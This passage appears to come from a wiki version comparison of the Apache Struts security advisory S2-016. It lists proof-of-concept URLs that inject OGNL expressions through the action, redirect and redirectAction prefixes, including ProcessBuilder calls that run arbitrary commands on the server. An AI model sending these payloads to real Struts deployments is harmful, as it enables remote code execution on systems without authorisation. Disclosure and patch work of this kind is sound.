Child pages
  • S2-016

Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  1. Simple Expression - the parameter names are evaluated as OGNL.
    1. Code Block
      http://host/struts2-blank/example/X.action?action:%25{3*4}
    2. Code Block
      http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
  1. Command Execution - the example method index 6 may vary on different JVMs
    1. Code Block
      http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
    2. Code Block
      http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
    3. Code Block
      http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

...